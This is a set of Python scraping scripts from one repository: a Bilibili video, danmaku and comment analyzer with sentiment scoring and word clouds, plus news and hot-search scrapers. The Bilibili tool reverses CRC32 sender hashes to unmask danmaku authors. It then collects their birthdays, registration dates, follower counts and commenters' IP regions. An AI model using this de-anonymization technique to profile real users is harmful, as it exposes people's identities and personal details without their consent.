            wordcloud = WordCloud(background_color='white', max_words=100, font_path=font_path)
    
            # 构建词频字典
            word_frequency = dict(zip(words, frequencies))
    
            # 生成词云
            print(sheet_name, "词云生成中...")
            wordcloud.generate_from_frequencies(word_frequency)
    
            # 显示词云图片
            plt.imshow(wordcloud, interpolation='bilinear')
            plt.axis('off')
            plt.show()
    
        @staticmethod
        # 生成横向统计图
        def get_word_chart(sheet_name: str, workbook):
            # 获取之前写入的词频统计sheet
            sheet = workbook[sheet_name]
    
            # 读取词频数据
            words = []
            frequencies = []
            for row in sheet.iter_rows(min_row=2, values_only=True):
                words.append(row[0])
                frequencies.append(row[1])
    
            # 获取操作系统类型
            system = platform.system()
    
            # 根据操作系统类型设置字体文件路径
            if system == 'Darwin':  # macOS
                font_path = '/System/Library/Fonts/STHeiti Light.ttc'
            elif system == 'Windows':
                font_path = 'C:/Windows/Fonts/simhei.ttf'
            else:  # 其他操作系统,如 Linux
                font_path = 'simhei.ttf'
    
            # 创建字体属性对象
            custom_font = fm.FontProperties(fname=font_path)
    
            # 绘制横向统计图并设置字体
            fig, ax = plt.subplots()
            ax.barh(words, frequencies)
            ax.set_xlabel("频次", fontproperties=custom_font)
            ax.set_ylabel("词语", fontproperties=custom_font)
    
            # 自动调整y轴标签旋转角度,以避免重叠
            plt.yticks(fontproperties=custom_font)
    
            # 显示图像
            print(sheet_name, "横向统计图生成中...")
            plt.show()
    
        @staticmethod
        def get_user_info_by_card(user_card_json):
            info = {
                'name': "N/A",'birthday': "N/A",'regtime': "N/A",
                'fans': "N/A",'friend': "N/A"
            }
    
            try:
                info['name'] = user_card_json['card']['name']
                info['birthday'] = user_card_json['card']['birthday']
                info['regtime'] = Tools.format_timestamp(int(user_card_json['card']['regtime']))
                info['fans'] = user_card_json['card']['fans']
                info['friend'] = user_card_json['card']['friend']
            except KeyError:
                pass
    
            return tuple(info.values())
    
    class BilibiliExcel:
        @staticmethod
        # 写入视频基础信息
        def write_base_info(workbook, bv_json):
            sheet = workbook.create_sheet(title="视频信息")
            headers = ["视频标题", "作者", "发布时间", "播放量", "收藏量", "分享量", "累计弹幕",
                       "评论数", "视频简介", "视频类别", "视频链接", "封面链接"]
            sheet.append(headers)
    
            data = [bv_json["data"]["title"],
                    bv_json["data"]["owner"]["name"],
                    Tools.format_timestamp(bv_json["data"]["pubdate"]),
                    bv_json["data"]["stat"]["view"],
                    bv_json["data"]["stat"]["favorite"],
                    bv_json["data"]["stat"]["share"],
                    bv_json["data"]["stat"]["danmaku"],
                    bv_json["data"]["stat"]["reply"],
                    bv_json["data"]["desc"],
                    bv_json["data"]["tname"],
                    video_url,
                    bv_json["data"]["pic"]]
    
            sheet.append(data)
    
        @staticmethod
        # 写入弹幕基本信息
        def write_danmu_info(workbook, danmu_xml):
            sheet = workbook.create_sheet(title="弹幕信息")
            headers = [
                "弹幕内容", "情绪值","词性分析", "发表时间",
                "用户ID"
                ]
            sheet.append(headers)
    
            xml_text = requests.get(danmu_xml).content.decode('utf-8')
    
            # 使用BeautifulSoup解析xml
            soup = BeautifulSoup(xml_text, "lxml-xml")
            danmu_list = soup.find_all("d")
    
            sentiment_scores = []  # 存储情绪值
            thu = thulac.thulac()  # 创建thulac对象,用于词性分析
    
            for danmu in danmu_list[:100]: # 控制弹幕获取数在100条范围。
                danmu_content = danmu.text
                timestamp = Tools.format_timestamp(int(danmu.get('p').split(",")[4]))
                mid = cRc32checker.main(danmu.get('p').split(",")[6])  # 通过uid反查用户ID
    
                # 计算情绪值
                sentiment_score = Tools.calculate_sentiment_score(danmu_content)
                sentiment_scores.append(sentiment_score)  # 将情绪值添加到列表中
    
                # 进行词性分析
                thu_result = thu.cut(danmu_content, text=True)
                data = [
                    danmu_content,
                    sentiment_score,
                    thu_result,
                    timestamp,
                    mid
                    ]
                sheet.append(data)
    
            # 计算平均值
            average_sentiment_score = sum(sentiment_scores) / len(sentiment_scores)
            print("弹幕情绪值平均值:", average_sentiment_score)
    
            # 计算中位数
            median_sentiment_score = statistics.median(sentiment_scores)
            print("弹幕情绪值中位数:", median_sentiment_score)
    
        @staticmethod
        # 写入弹幕基本信息 威力增强版
        def write_danmu_info_by_cookies(workbook, danmu_xml):
    
            cookies = input("用你的浏览器,打开开发者工具,找到Cookie,并输入:")
    
            # # 将Cookie字符串转换为字典形式
            # cookie_list = cookies.split("; ")
            # cookies_dict = {}
            # for cookie in cookie_list:
            #     try:
            #         key, value = cookie.strip().split("=", 1)
            #         cookies_dict[key] = value
            #     except ValueError:
            #         print("本次cookie解析存在问题,请检查字符串与格式")
            #         return BilibiliExcel.write_danmu_info(workbook, danmu_xml)
    
            # 将Cookie字符串转换为字典形式
            cookie_list = cookies.split("; ")
            cookies_dict = {}
            while not cookies_dict:
                try:
                    for cookie in cookie_list:
                        key, value = cookie.strip().split("=", 1)
                        cookies_dict[key] = value
                except ValueError:
                    print("本次cookie解析存在问题,请检查字符串与格式")
                    cookies = input("请重新输入Cookie:")
                    cookie_list = cookies.split("; ")
    
    
            sheet = workbook.create_sheet(title="弹幕信息")
            headers = [
                "弹幕内容", "情绪值","词性分析", "发表时间",
                "用户ID","用户名","生日","注册时间","粉丝数","关注数"
                ]
            sheet.append(headers)
    
            xml_text = requests.get(danmu_xml).content.decode('utf-8')
    
            # 使用BeautifulSoup解析xml
            soup = BeautifulSoup(xml_text, "lxml-xml")
            danmu_list = soup.find_all("d")
    
            sentiment_scores = []  # 存储情绪值
            thu = thulac.thulac()  # 创建thulac对象,用于词性分析
            for danmu in danmu_list[:100]:
                danmu_content = danmu.text
                timestamp = Tools.format_timestamp(int(danmu.get('p').split(",")[4]))
                mid = cRc32checker.main(danmu.get('p').split(",")[6])  # 通过uid反查用户ID
                user_card_json = BilibiliAPI.get_user_card(mid, cookies=cookies_dict)
                name,birthday,regtime,fans,friend = Tools.get_user_info_by_card(user_card_json)
    
                # 计算情绪值
                sentiment_score = Tools.calculate_sentiment_score(danmu_content)
                sentiment_scores.append(sentiment_score)  # 将情绪值添加到列表中
    
                # 进行词性分析
                thu_result = thu.cut(danmu_content, text=True)
                data = [
                    danmu_content,
                    sentiment_score,
                    thu_result,
                    timestamp,
                    mid,
                    name,
                    birthday,
                    regtime,
                    fans,
                    friend
                    ]
                sheet.append(data)
    
            # 计算平均值
            average_sentiment_score = sum(sentiment_scores) / len(sentiment_scores)
            print("弹幕情绪值平均值:", average_sentiment_score)
    
            # 计算中位数
            median_sentiment_score = statistics.median(sentiment_scores)
            print("弹幕情绪值中位数:", median_sentiment_score)
    
    
        # 弹幕词频统计 jieba
        @staticmethod
        def jieba_danmu_frequency_statistics(workbook):
            sheet = workbook.create_sheet(title="弹幕词频统计")
            headers = ["词语", "频次"]
            sheet.append(headers)
    
            # 获取之前写入的弹幕信息sheet
            danmu_sheet = workbook["弹幕信息"]
    
            word_frequency = {}  # 存储词频
    
            # 请求停用词库
            stopwords_file = 'https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/cn_stopwords.txt'
            response = requests.get(stopwords_file)
            stopwords = response.content.decode('utf-8').split('\n')
    
            for row in danmu_sheet.iter_rows(min_row=2, values_only=True):
                danmu_content = row[0]
    
                # 使用jieba进行分词,并忽略空格
                words = [word for word in jieba.lcut(danmu_content) if word.strip() != '' and len(word) > 1]
    
                for word in words:
                    if word not in stopwords:  # 判断词语是否为停用词
                        if word in word_frequency:
                            word_frequency[word] += 1
                        else:
                            word_frequency[word] = 1
    
            # 根据词频进行排序并获取前30个词语
            sorted_word_frequency = sorted(word_frequency.items(), key=lambda x: x[1], reverse=True)[:30]
    
            for word, frequency in sorted_word_frequency:
                data = [word, frequency]
                sheet.append(data)
    
    
        # 写入评论基本信息
        @staticmethod
        def write_comments_info(workbook, bv_reply_json):
            sheet = workbook.create_sheet(title="评论信息")
            headers = ["热门评论", "点赞数", "情绪值","话题回复条目","会员ID","会员名","评论时间"]
            sheet.append(headers)
    
            # print(bv_reply_json)
    
            sentiment_scores = []  # 存储情绪值
    
            # 遍历每个评论
            for comment in bv_reply_json['data']['replies']:
                content = comment['content']['message']
                sentiment_score = Tools.calculate_sentiment_score(content)
                sentiment_scores.append(sentiment_score)  # 将情绪值添加到列表中
                like_count = comment['like']
                member_id = comment['member']['mid']
                member_name = comment['member']['uname']
                comment_time = Tools.format_timestamp(int(comment['ctime']))
    
                # 使用 dict.get() 方法获取字段值,提供默认值,避免 keyError。
                reply_control = comment.get('reply_control', {})
                sub_reply_entry_text = reply_control.get('sub_reply_entry_text', 'N/A')
    
                # 判断点赞数是否大于 5,经测试发现默认上限20条
                # if like_count > 5:
                data = [
                        content,
                        like_count,
                        sentiment_score,
                        sub_reply_entry_text,
                        member_id,
                        member_name,
                        comment_time
                    ]
                sheet.append(data)
    
            # 计算平均值
            average_sentiment_score = sum(sentiment_scores) / len(sentiment_scores)
            print("评论情绪值平均值:", average_sentiment_score)
    
            # 计算中位数
            median_sentiment_score = statistics.median(sentiment_scores)
            print("评论情绪值中位数:", median_sentiment_score)
    
        # 写入评论基本信息 威力加强版
        @staticmethod
        def write_comments_info_plus(workbook):
    
            sentiment_scores = []  # 存储情绪值
    
            try:
                # json.load 则是文件对象;要解决这个问题,可以使用 json.loads 方法,它可以直接将字符串转换为 JSON 对象,而不需要文件对象
                bv_reply_json = json.loads(BilibiliAPI.get_comment_json_to_webui(bv_json))
            except json.JSONDecodeError as e:
                print("解析评论JSON失败:", str(e))
                return  BilibiliExcel.write_comments_info(workbook, bv_reply_json) # 终止当前函数
    
            sheet = workbook.create_sheet(title="评论信息")
            headers = ["热门评论", "点赞数", "情绪值","话题回复条目","会员ID","会员名","评论时间","IP归属"]
            sheet.append(headers)
    
            # 遍历每个评论
            for comment in bv_reply_json['data']['replies']:
                content = comment['content']['message']
                sentiment_score = Tools.calculate_sentiment_score(content)
                sentiment_scores.append(sentiment_score)  # 将情绪值添加到列表中
                like_count = comment['like']
                member_id = comment['member']['mid']
                member_name = comment['member']['uname']
                comment_time = Tools.format_timestamp(int(comment['ctime']))
    
                # 使用 dict.get() 方法获取字段值,提供默认值,避免 keyError。
                reply_control = comment.get('reply_control', {})
                sub_reply_entry_text = reply_control.get('sub_reply_entry_text', 'N/A')
                location = reply_control.get('location', 'N/A')
    
                # 将属地信息处理为不带前缀的形式
                location = location.replace('IP属地:', '')
    
                data = [
                        content,
                        like_count,
                        sentiment_score,
                        sub_reply_entry_text,
                        member_id,
                        member_name,
                        comment_time,
                        location
                    ]
                sheet.append(data)
    
            # 计算平均值
            average_sentiment_score = sum(sentiment_scores) / len(sentiment_scores)
            print("评论情绪值平均值:", average_sentiment_score)
    
            # 计算中位数
            median_sentiment_score = statistics.median(sentiment_scores)
            print("评论情绪值中位数:", median_sentiment_score)
    
        # 评论词频统计 jieba
        @staticmethod
        def jieba_comments_frequency_statistics(workbook):
            sheet = workbook.create_sheet(title="评论词频统计")
            headers = ["词语", "频次"]
            sheet.append(headers)
    
            # 获取之前写入的弹幕信息sheet
            comments_sheet = workbook["评论信息"]
    
            word_frequency = {}  # 存储词频
    
            # 请求停用词库
            stopwords_file = 'https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/cn_stopwords.txt'
            response = requests.get(stopwords_file)
            stopwords = response.content.decode('utf-8').split('\n')
    
            for row in comments_sheet.iter_rows(min_row=2, values_only=True):
                comments_content = row[0]
    
                # 使用jieba进行分词,并忽略空格
                words = [word for word in jieba.lcut(comments_content) if word.strip() != '' and len(word) > 1]
    
                for word in words:
                    if word not in stopwords:  # 判断词语是否为停用词
                        if word in word_frequency:
                            word_frequency[word] += 1
                        else:
                            word_frequency[word] = 1
    
            # 根据词频进行排序并获取前30个词语
            sorted_word_frequency = sorted(word_frequency.items(), key=lambda x: x[1], reverse=True)[:30]
    
            for word, frequency in sorted_word_frequency:
                data = [word, frequency]
                sheet.append(data)
    
        @staticmethod
        def save_workbook(workbook):
            workbook.save(Tools.get_save())
    
    class Print_info:
        # 打印基础信息
        @staticmethod
        def base_message():
    
            if 'Windows' == platform.system():
                os.system('cls')
            else:
                os.system('clear')
    
            text = '''
            ************************************
    
                B站视频基础信息调研 v2023.6.26
                作者:Github.com/hoochanlon
                项目地址:https://github.com/hoochanlon/scripts
    
                程序功能明细:
                1. 视频标题、作者、发布时间、播放量、收藏量、分享量、累计弹幕、评论数、视频简介、视频类别、视频链接、封面链接。
                2. 100条弹幕、情绪值、词性分析、发表时间、用户ID
                3. 20篇热门评论、点赞数、情绪值、话题回复条目、会员ID、会员名、评论时间。
                4. 威力增强:弹幕:用户名、生日、注册时间、粉丝数、关注数(cookie);评论:显示评论用户的IP归属地(webbui)。
                5. 文本情绪值中位数、词频统计、词云、柱形统计图。
    
                使用事项说明:
                1. 确保python类库,安装完善:
                    pip3 install -r https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/requirements.txt
                2. cookie 值可输入 key=value 的形式如 “a=a;” 跳过,并执行之后的动作。
                3. 在弹出浏览器窗口时,不要关闭,并登录B站,用于程序在登录状态才获取的API部分属性信息(如:IP归属地等)。
                4. 请确保网络环境状态良好,否则可能会出现网络请求失败的情况;分析报表生成过程中,会有一定的等待时间,请耐心等待片刻。
    
                免责声明:本程序仅供社科研究与编程学习交流使用,不得用于任何商业及非法用途。
    
            ************************************
            '''
            print(text.center(50, ' '))
    
    if __name__ == '__main__':
    
        Print_info.base_message()
    
        # 获取输入视频链接
        # video_url = re.findall(r'.*BV\w+', input("请输入Bilibili视频链接:"))[0]
        while True:
            video_url = input("请粘贴Bilibili视频链接:")
            if re.match(r'.*BV\w+', video_url):
                break
            else:
                print("链接格式不正确,请重新输入。")
    
        # 获取视频基础信息json
        bv_json = BilibiliAPI.get_bv_json(video_url)
        # 获取视频弹幕信息xml
        danmu_xml = BilibiliAPI.get_danmu_xml(bv_json)
        # 获取视频评论信息json
        bv_reply_json = BilibiliAPI.get_comment_json(bv_json)
    
        # 创建一个新的Workbook对象
        workbook = Workbook()
        # 删除默认创建的空白Sheet
        workbook.remove(workbook.active)
    
        # 创建用户ID CRC32校验器对象
        cRc32checker = CRC32Checker()
    
        # 将视频基础信息写入Excel
        BilibiliExcel.write_base_info(workbook, bv_json)
    
        # 将弹幕信息写入Excel
        # BilibiliExcel.write_danmu_info(workbook, danmu_xml)
    
        # 将弹幕信息写入Excel 威力增强版
        BilibiliExcel.write_danmu_info_by_cookies(workbook, danmu_xml)
    
        # 弹幕词频统计
        BilibiliExcel.jieba_danmu_frequency_statistics(workbook)
    
        # 将评论信息写入Excel
        # BilibiliExcel.write_comments_info(workbook, bv_reply_json)
    
        # 将评论信息写入Excel 威力加强版
        BilibiliExcel.write_comments_info_plus(workbook)
    
        # 评论词频统计
        BilibiliExcel.jieba_comments_frequency_statistics(workbook)
    
        # 保存Excel文件
        BilibiliExcel.save_workbook(workbook)
    
        # 生成词云与柱形统计图
        Tools.get_word_cloud("弹幕词频统计", workbook)
        Tools.get_word_chart("评论词频统计", workbook)
    
    
    ================================================
    FILE: d-python/get_chinanews.py
    ================================================
    import requests
    from bs4 import BeautifulSoup
    from openpyxl import Workbook
    from datetime import datetime
    
    # -----参考文档,三件套-------
    # https://docs.python-requests.org/en/latest/
    # https://www.crummy.com/software/BeautifulSoup/bs4/doc/
    # https://openpyxl.readthedocs.io/en/stable/
    # https://docs.python.org/3/library/stdtypes.html#str.strip (切片)
    # -----参考文档,三件套-------
    
    
    # 5.1 新增时间格式规范化输出文件名
    # 获取当前时间
    now = datetime.now()
    # 将时间格式化为指定的字符串格式
    # formatted_time = now.strftime('%Y-%-m-%-d')
    formatted_time = now.strftime('%Y-%m-%d')
    
    # 创建一个Workbook对象,用于Excel的读写
    wb = Workbook()
    
    # 添加一个Sheet页,并且指定Sheet名称
    sheet = wb.active
    sheet.title = 'Sheet1'
    
    # 定义变量row,用于循环时控制每一行的写入位置
    row = 1
    
    # 添加表头
    sheet['A1'] = '栏目'
    sheet['B1'] = '标题'
    sheet['C1'] = '时间'
    
    # 遍历页码从1到2页
    for page_num in range(1,3):
        # f-string
        url = f"https://www.chinanews.com.cn/scroll-news/news{page_num}.html"
    
        # 反爬通用套码
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
        }
    
        r = requests.get(url, headers=headers)
        r.encoding='utf-8'
        soup = BeautifulSoup(r.text, 'html.parser')
    
        # 遍历栏目、标题和时间
        dangdu_lanmu = soup.find_all('div', class_='dd_lm')
        dangdu_biaoti = soup.find_all('div', class_='dd_bt')
        dangdu_time = soup.find_all('div', class_='dd_time')
        
        # 追加具体数据
        for news_num in range(len(dangdu_lanmu)):
            sheet.append([dangdu_lanmu[news_num].text.strip('[]'), dangdu_biaoti[news_num].text, dangdu_time[news_num].text])
            # row=row+1
            row += 1
    
    # 保存Excel文件
    wb.save("chinanews_{}.xlsx".format(formatted_time))
    
    
    ================================================
    FILE: d-python/get_resou_today.py
    ================================================
    import os
    from datetime import datetime
    import requests
    from bs4 import BeautifulSoup
    from openpyxl import Workbook
    from snownlp import SnowNLP
    import jieba
    from collections import Counter
    import jieba.posseg as pseg
    import json
    import urllib.request
    
    # 确定保存文本格式用的。
    def get_formatted_time():
        """
        获取格式化后的当前时间
        :return: 格式化后的当前时间字符串
        """
        now = datetime.now()
        return now.strftime('%Y-%m-%d')
    
    # 解析新闻函数
    def get_news_from_url(url: str):
        """
        从指定的 URL 抓取热搜新闻
        :param url: 网页 URL
        :return: 热搜新闻列表
        """
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
                          '(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
        r = requests.get(url, headers=headers)
        r.encoding = 'utf-8'
        soup = BeautifulSoup(r.text, 'html.parser')
        toutiao_resoubang = soup.find_all('div', class_='single-entry tindent')
    
        resoubang_list = []
        for item in toutiao_resoubang:
            spans = item.find_all('span')
            for span in spans:
                resoubang_list.append(span.string)
        return resoubang_list
    
    # 删除空行
    def delete_empty_rows(sheet_name: str, wb: Workbook):
        """
        删除指定工作表中的空行
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :param None 关键字
        https://notes-by-yangjinjie.readthedocs.io/zh_CN/latest/python/05-modules/openpyxl.html?highlight=openpyxl
        """
        ws = wb[sheet_name]
        # 迭代行所用的内置函数 ws.iter_rows()
        for row in ws.iter_rows():
            if all(cell.value is None for cell in row):
                ws.delete_rows(row[0].row)
    
    # 计数平均指数、情感得分
    def calculate_average_index_and_sentiment_score(sheet_name: str, wb: Workbook):
        """
        计算指定工作表中热搜新闻的平均指数和情感得分
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :return: 平均指数、情感得分元组
        """
        ws = wb[sheet_name]
        total_index = 0
        count = 0
        sentiment_score_list = []
        for row in ws.iter_rows(min_row=2, min_col=1, max_col=3):
            news_str = ''
            for cell in row:
                if cell.value is not None:
                    news_str += str(cell.value)
            # 功能挺多,见:https://github.com/isnowfy/snownlp
            s = SnowNLP(news_str)
            sentiment_score = s.sentiments
            sentiment_score_list.append(sentiment_score)
            # row[2] 是指每一行中的第三个单元格,也就是第三列。
            total_index += row[2].value
            count += 1
            ws.cell(row=row[0].row, column=4, value=sentiment_score)
        # 每张表的平均指数与情感得分
        return (total_index / count, sum(sentiment_score_list) / len(sentiment_score_list))
    
    # 统计词频
    def calculate_word_count(sheet_names: list, wb: Workbook):
        """
        计算工作表中出现最多的20个单词,将结果写入新的工作表中
        :param sheet_names: 工作表名称
        :param wb: Excel 工作簿对象
        :param stopwords_file: 停用词文件路径
        停用词是指在自然语言中使用频率很高,
        但通常不具有实际含义或对文本分析任务没有太大帮助的单词,如“的”,“了”等。
        """
        
        # 停用词文件
        stopwords_file = 'https://ghproxy.com/https://raw.githubusercontent.com/goto456/stopwords/master/cn_stopwords.txt'
        # 请求停用词库
        response = requests.get(stopwords_file)
        stopwords = response.content.decode('utf-8').split('\n')
    
        # 加载停用词库
        for word in stopwords:
            jieba.del_word(word.strip())
    
        # 遍历所有工作表,统计词频,由于语料库词汇功能欠佳,只能粗略统计
        word_count = Counter()
        for sheet_name in sheet_names:
            ws = wb[sheet_name]
            for row in ws.iter_rows(min_row=2, min_col=1, max_col=3):
                news_str = ''
                for cell in row:
                    if cell.value is not None:
                        news_str += str(cell.value)
                words = jieba.lcut(news_str)
    
                # 只要是数值类型的忽略。
                # words = [word for word in words if not(word.isdigit() or (word.replace('w', '').replace('.', '').isdigit()))]
                new_words = []
                for word in words:
                     # 忽略长度为 0 或 1 的字符串
                    if len(word) <= 1:
                        continue
                    # 去除数值噪声
                    if not(word.isdigit() or (word.replace('w', '').replace('.', '').isdigit())):
                        new_words.append(word)
                words = new_words
                # 更新词库集
                word_count.update(words)
    
        # 去掉停用词
        for word in list(word_count):
            if word in stopwords:
                del word_count[word]
    
        # 取出出现最多的30个词
        top_words = word_count.most_common(30)
        # 创建一个新的工作表
        ws = wb.create_sheet(title='词频统计')
        # 添加行
        ws.append(['排名', '词语', '词频'])
        # 从1开始计数,而非0开始排名
        for i, (word, freq) in enumerate(top_words,1):
            ws.append([i, word, freq])
    
    
    # 2023.5.9 新增分类功能
    def write_category_to_sheet(sheet_name: str, wb: Workbook):
        """
        将新闻事件的关键词分类信息写入到 Excel 工作表中的第五列中
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :jieba分词:https://github.com/fxsjy/jieba
        """
    
        # 调用在线分类字典 json
        # 从URL获取JSON数据
        response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/AQUICK/category_news.json')
        json_data = response.read().decode('utf-8')
    
        # 解析JSON数据
        category_keywords = json.loads(json_data)
    
        # 从当前sheet开始
        ws = wb[sheet_name]
        for row in ws.iter_rows(min_row=2, min_col=1, max_col=4):
            title_str = ''
            for cell in row:
                if cell.value is not None:
                    title_str += str(cell.value)
    
            # 将标题字符串分词并转换为列表数组
            words = pseg.cut(title_str)
            category = ''
            for word, flag in words:
                # 内置的字符串方法,用于检查前缀指定开头
                # if flag.startswith('n'):
                # key keywords 关键字,.items() 检索键值对
                    for key, keywords in category_keywords.items():
                        if word in keywords:
                            category = key
                            break
                    if category:
                        break
            if not category:
               # category = '其他'
                category = '综合'
            ws.cell(row=row[0].row, column=5, value=category)
    
    
    # 将已解析网页排版的数据,按规则写入到xlsx,行列对称,条理分明。
    def write_news_to_sheet(news_list: list, sheet_name: str, wb: Workbook):
        """
        将新闻列表写入到 Excel 工作表中
        :param news_list: 新闻列表
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :cell.value.isnumeric() 表示当前字符串是否能表示为一个数字
        :isinstance(cell.value, str) 表示当前值是否字符串
        """
        ws = wb.create_sheet(title=sheet_name)
    
        row = []
        for i, item in enumerate(news_list, start=1):
            if i >= 156: # 抽取50组数据(如果索引大于 156 是关于微博的其他介绍文章)
                continue  
            if i % 3 == 1: #  # 索引从0开始,即2%3,往后是新组数据。
                item = item.replace("、", "")
            row.append(item)
            if i % 3 == 0: # 取模被整除,3列一组,被整除说明已到3列,换行。
                ws.append(row)
                row = []
        
        # 从第二行开始迭代每一行数据
        for row in ws.iter_rows(min_row=2, min_col=1):
            for cell in row:
                if cell.column == 1 or cell.column == 3:
                    # 实例判断,如果是返回 True,否则返回 False。
                    if isinstance(cell.value, str) and not cell.value.isnumeric():
                        # 去除字符串中的 '[置顶]' 字符,185为2、3、4排名的平均值(实时)
                        cell.value = cell.value.replace('[置顶]', '185w') 
                    if isinstance(cell.value, str) and cell.value.isnumeric():
                        cell.value = int(cell.value)
                    elif isinstance(cell.value, str):
                        cell.value = float(cell.value.replace('w', ''))
    
        ws.cell(row=1, column=3, value='指数(万)')
        ws.cell(row=1, column=4, value='情感得分')
        ws.cell(row=1, column=5, value='分类')
        
    
    def main():
    
        urls = ['http://resou.today/art/11.html', 'http://resou.today/art/22.html','http://resou.today/art/6.html']
        sheet_names = ['今日头条热榜', '抖音时事热榜', '微博热搜']
    
        wb = Workbook()
    
        wb.remove(wb['Sheet'])
        for url, sheet_name in zip(urls, sheet_names):
            news_list = get_news_from_url(url)
            # 写入网页解析的数据到xlsx
            write_news_to_sheet(news_list, sheet_name, wb)
            # 删除操作留下的空行
            delete_empty_rows(sheet_name, wb)
            # 分类
            write_category_to_sheet(sheet_name, wb)
    
            # 统计平均指数、各表平均情感值
            average_index, sentiment_score = calculate_average_index_and_sentiment_score(sheet_name, wb)
            print(f'{sheet_name} 平均指数:{average_index:.2f} 情感得分: {sentiment_score:.2f}')
        
        # 词频统计
        calculate_word_count(sheet_names, wb)
    
        # 进行跨平台处理保存路径
        save_path_xlsx_file = os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"), 
                                           "resoubang_{}.xlsx".format(get_formatted_time()))
        # 删除空表,并保存为指定文件
        # wb.remove(wb['Sheet']);wb.save(save_path_xlsx_file)
        wb.save(save_path_xlsx_file)
    
    # 如果当前模块是被其他模块导入的,则该条件语句下面的代码将不会被执行。
    if __name__ == '__main__':
        main()
    
    
    ================================================
    FILE: d-python/get_resou_today_s.py
    ================================================
    import os
    from datetime import datetime
    import openpyxl
    import requests
    from bs4 import BeautifulSoup
    from openpyxl import Workbook
    from snownlp import SnowNLP
    import jieba
    from collections import Counter
    import jieba.posseg as pseg
    import json
    import urllib.request
    import stanza
    
    
    # 确定保存文本格式用的。
    def get_save_path_xlsx_file():
        """
        获取格式化后的当前时间
        :return: 格式化后的当前时间字符串
        """
    
        # 进行跨平台处理保存路径
        return os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"), 
                                           "resoubang_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d')))
    
    # 解析新闻函数
    def get_news_from_url(url: str):
        """
        从指定的 URL 抓取热搜新闻
        :param url: 网页 URL
        :return: 热搜新闻列表
        """
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
                          '(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
        r = requests.get(url, headers=headers)
        r.encoding = 'utf-8'
        soup = BeautifulSoup(r.text, 'html.parser')
        toutiao_resoubang = soup.find_all('div', class_='single-entry tindent')
    
        resoubang_list = []
        for item in toutiao_resoubang:
            spans = item.find_all('span')
            for span in spans:
                resoubang_list.append(span.string)
        return resoubang_list
    
    # 删除空行
    def delete_empty_rows(sheet_name: str, wb: Workbook):
        """
        删除指定工作表中的空行
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :param None 关键字
        https://notes-by-yangjinjie.readthedocs.io/zh_CN/latest/python/05-modules/openpyxl.html?highlight=openpyxl
        """
        ws = wb[sheet_name]
        # 迭代行所用的内置函数 ws.iter_rows()
        for row in ws.iter_rows():
            if all(cell.value is None for cell in row):
                ws.delete_rows(row[0].row)
    
    # 计数平均指数、情感得分
    def calculate_average_index_and_sentiment_score(sheet_name: str, wb: Workbook):
        """
        计算指定工作表中热搜新闻的平均指数和情感得分
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :return: 平均指数、情感得分元组
        """
        ws = wb[sheet_name]
        total_index = 0
        count = 0
        sentiment_score_list = []
        for row in ws.iter_rows(min_row=2, min_col=1, max_col=3):
            news_str = ''
            for cell in row:
                if cell.value is not None:
                    news_str += str(cell.value)
            # 功能挺多,见:https://github.com/isnowfy/snownlp
            s = SnowNLP(news_str)
            sentiment_score = s.sentiments
            sentiment_score_list.append(sentiment_score)
            # row[2] 是指每一行中的第三个单元格,也就是第三列。
            total_index += row[2].value
            count += 1
            ws.cell(row=row[0].row, column=4, value=sentiment_score)
        # 每张表的平均指数与情感得分
        return (total_index / count, sum(sentiment_score_list) / len(sentiment_score_list))
    
    # 统计词频
    def calculate_word_count(sheet_names: list, wb: Workbook):
        """
        计算工作表中出现最多的20个单词,将结果写入新的工作表中
        :param sheet_names: 工作表名称
        :param wb: Excel 工作簿对象
        :param stopwords_file: 停用词文件路径
        停用词是指在自然语言中使用频率很高,
        但通常不具有实际含义或对文本分析任务没有太大帮助的单词,如“的”,“了”等。
        """
        
        # 停用词文件
        stopwords_file = 'https://ghproxy.com/https://raw.githubusercontent.com/goto456/stopwords/master/cn_stopwords.txt'
        # 请求停用词库
        response = requests.get(stopwords_file)
        stopwords = response.content.decode('utf-8').split('\n')
    
        # 加载停用词库
        for word in stopwords:
            jieba.del_word(word.strip())
    
        # 遍历所有工作表,统计词频,由于语料库词汇功能欠佳,只能粗略统计
        word_count = Counter()
        for sheet_name in sheet_names:
            ws = wb[sheet_name]
            for row in ws.iter_rows(min_row=2, min_col=1, max_col=3):
                news_str = ''
                for cell in row:
                    if cell.value is not None:
                        news_str += str(cell.value)
                words = jieba.lcut(news_str)
    
                # 只要是数值类型的忽略。
                # words = [word for word in words if not(word.isdigit() or (word.replace('w', '').replace('.', '').isdigit()))]
                new_words = []
                for word in words:
                     # 忽略长度为 0 或 1 的字符串
                    if len(word) <= 1:
                        continue
                    # 去除数值噪声
                    if not(word.isdigit() or (word.replace('w', '').replace('.', '').isdigit())):
                        new_words.append(word)
                words = new_words
                # 更新词库集
                word_count.update(words)
    
        # 去掉停用词
        for word in list(word_count):
            if word in stopwords:
                del word_count[word]
    
        # 取出出现最多的30个词
        top_words = word_count.most_common(30)
        # 创建一个新的工作表
        ws = wb.create_sheet(title='词频统计')
        # 添加行
        ws.append(['排名', '词语', '词频'])
        # 从1开始计数,而非0开始排名
        for i, (word, freq) in enumerate(top_words,1):
            ws.append([i, word, freq])
    
    
    # 2023.5.9 新增分类功能
